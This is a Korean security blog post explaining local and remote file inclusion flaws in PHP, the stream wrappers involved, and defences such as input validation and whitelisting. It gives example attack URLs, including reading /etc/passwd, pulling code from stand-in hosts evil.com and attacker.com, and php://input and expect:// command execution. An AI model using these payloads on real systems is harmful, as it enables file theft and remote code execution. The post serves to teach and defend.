728x90
반응형
LFI(Local File Inclusion) & RFI(Remote File Inclusion)
📁 취약점 설명
- LFI (Local File Inclusion):
- 로컬 파일 포함은 웹 애플리케이션에서 사용자 입력을 통해 파일 경로를 동적으로 포함하는 경우에 발생할 수 있는 취약점입니다.
- 주로 파일 경로가 하드 코딩되지 않고 사용자가 입력한 값에 따라 동적으로 로드되는 경우에 발생합니다.
- 공격자는 취약점을 이용하여 로컬 시스템에 있는 다른 파일들을 읽을 수 있습니다. 예를 들어, /etc/passwd와 같은 시스템 파일을 읽어 사용자 계정 정보를 획득할 수 있습니다.
- 방어책으로는 사용자 입력을 적절히 검증하고, 파일 경로에 대한 절대 경로를 사용하거나 화이트리스트를 설정하여 필요한 파일만 로드하도록 하는 것이 있습니다.
- RFI (Remote File Inclusion):
- 원격 파일 포함은 애플리케이션이 외부의 스크립트나 파일을 동적으로 포함할 때 발생할 수 있는 취약점입니다.
- 주로 애플리케이션이 외부 URL에 있는 스크립트나 파일을 포함할 때 사용됩니다.
- 공격자는 취약점을 이용하여 원격 서버에 있는 악의적인 스크립트를 포함시킬 수 있습니다. 이를 통해 원격 서버에서 코드를 실행하거나 시스템을 제어할 수 있습니다.
- 방어책으로는 외부에서의 파일 포함을 허용하지 않거나, 외부 파일을 포함하기 전에 신뢰할 수 있는 소스인지 확인하는 등의 절차를 수행하는 것이 있습니다.
PHP Wrapper
Wrapper에 대한 설명
- PHP Wrapper는 PHP에서 파일 처리를 할 때 유용한 도구 중 하나입니다. 주로 URL 접근이 가능한 파일이나 리소스를 다룰 때 활용됩니다. 여러 가지 PHP 함수와 함께 사용할 수 있습니다.
- 지원하는 PHP Wrapper는 아래 링크에서 확인이 가능합니다.
- 현재 사용 가능한 Wrapper 확인하는 코드
<?php
var_dump(stream_get_wrappers());
?>
- 윗 코드에 대한 결과 예시
array(13) {
[0]=>
string(4) "file"
[1]=>
string(4) "http"
[2]=>
string(5) "https"
[3]=>
string(3) "ftp"
[4]=>
string(13) "compress.zlib"
[5]=>
string(14) "compress.bzip2"
[6]=>
string(3) "php"
[7]=>
string(4) "data"
[8]=>
string(3) "zip"
[9]=>
string(3) "phar"
[10]=>
string(4) "glob"
[11]=>
string(7) "ssh2.scp"
[12]=>
string(8) "ssh2.sftp"
}
공격 예시문 & Wrapper별 설명
- file:// — 로컬 파일 시스템에 접근:
- 예시 URL: index.php?file=file:///etc/passwd
- 공격문: 없음 (파라미터 자체가 공격임)
- http:// — HTTP(s) URL에 접근:
- 예시 URL: index.php?url=http://evil.com/malicious.php
- 공격문: 없음 (파라미터 자체가 공격임)
- ftp:// — FTP(s) URL에 접근:
- 예시 URL: index.php?url=ftp://attacker.com/backdoor.php
- 공격문: 없음 (파라미터 자체가 공격임)
- php:// — 다양한 PHP I/O 스트림에 접근:
- 예시 URL: index.php?file=php://input
- 공격문: <?php system('ls -la'); ?> (또는 기타 악성 PHP 코드)
- zlib:// — 압축 스트림에 접근:
- 예시 URL: index.php?file=zlib://compress.zlib://malicious.gz
- 공격문: 압축된 파일에 악성 코드를 포함한 후, 이 파일을 서버에 전달
- data:// — 데이터 스트림에 접근:
- 예시 URL: index.php?file=data:text/plain;base64,SGVsbG8gV29ybGQ=
- 공격문: 없음 (파라미터 자체가 공격임)
- glob:// — 파일 패턴 일치를 찾음:
- 예시 URL: index.php?file=glob://*.txt
- 공격문: 없음 (파라미터 자체가 공격임)
- phar:// — PHP 아카이브에 접근:
- 예시 URL: index.php?file=phar://path/to/archive.phar/malicious.php
- 공격문: 없음 (파라미터 자체가 공격임)
- ssh2:// — SSH 프로토콜에 접근:
- 예시 URL: index.php?url=ssh2://user:password@hostname:22/
- rar:// — RAR 파일에 접근:
- 예시 URL: index.php?file=rar://path/to/file.rar/malicious.php
- 공격문: 없음 (파라미터 자체가 공격임)
- ogg:// — 오디오 스트림에 접근:
- 예시 URL: index.php?file=ogg://path/to/audio.ogg
- 공격문: 없음 (파라미터 자체가 공격임)
- expect:// — 프로세스 상호작용 스트림에 접근:
- 예시 URL: index.php?file=expect://ls
참고 사이트
File Inclusion/Path traversal - HackTricks
Functions that might be vulnerable: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv,
book.hacktricks.xyz
대응방안
- 입력 검증 (Input Validation):
- 모든 사용자 입력을 적절하게 검증하여 예상치 못한 값이나 악의적인 입력을 걸러냅니다.
- 파일 경로나 외부 URL을 받는 경우, 허용되는 문자나 패턴에 대한 필터링을 수행하여 안전한 입력만 허용합니다.
- 절대 경로 사용 (Using Absolute Paths):
- 파일 포함시에 상대 경로가 아닌 절대 경로를 사용합니다.
- 이를 통해 공격자가 상대 경로 조작을 시도하여 시스템 파일에 접근하는 것을 방지할 수 있습니다.
- 화이트리스트 설정 (Whitelisting):
- 허용되는 파일이나 스크립트의 목록을 작성하여, 이 목록에 없는 파일이나 URL은 포함되지 않도록 합니다.
- 화이트리스트를 사용함으로써 보다 엄격한 제어를 할 수 있습니다.
- 파일 시스템 보호 (File System Protection):
- 파일 시스템에 대한 접근 권한을 최소화하여 공격자가 중요한 시스템 파일에 접근하는 것을 방지합니다.
- 웹 애플리케이션이 실행되는 사용자의 권한을 최소화하는 것도 중요합니다.
- 보안 솔루션 및 웹 방화벽 사용 (Security Solutions and Web Application Firewalls):
- 보안 솔루션 및 웹 방화벽을 사용하여 악의적인 트래픽을 탐지하고 차단할 수 있습니다.
- 이러한 솔루션은 패턴 기반 감지, 행위 기반 감지, 기계 학습 등 다양한 방법으로 공격을 탐지합니다.
- 업데이트와 보안 패치 적용 (Regular Updates and Security Patches):
- 웹 애플리케이션과 관련된 모든 소프트웨어 및 라이브러리를 최신 상태로 유지합니다.
- 취약점이 발견될 경우 즉시 보안 패치를 적용하여 공격을 예방합니다.
728x90
반응형